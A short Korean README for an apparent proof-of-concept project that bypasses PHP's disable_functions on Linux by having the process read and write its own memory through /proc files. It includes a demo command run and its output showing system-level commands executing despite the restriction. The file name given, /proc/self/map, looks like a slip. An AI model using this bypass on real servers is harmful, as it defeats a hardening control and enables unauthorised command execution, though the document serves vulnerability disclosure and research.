
Linux에서 PHP의 disable_functions 보안 제어를 우회하는 방법을 보여주는 데모 프로젝트
Linux에서 프로세스가 표준 파일 작업(open/seek/read/write)을 통해 특수한 /proc/self/map 파일을 사용하여 자신의 메모리를 검사하고 심지어 쓸 수도 있는 환경에서, PHP의 disable_functions 보안 제어를 우회하는 방법을 보여주는 데모 프로젝트입니다.
PHP 7.3.5, x86_64 Linux에서 테스트됨
참고: https://seclists.org/bugtraq/2019/May/52
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)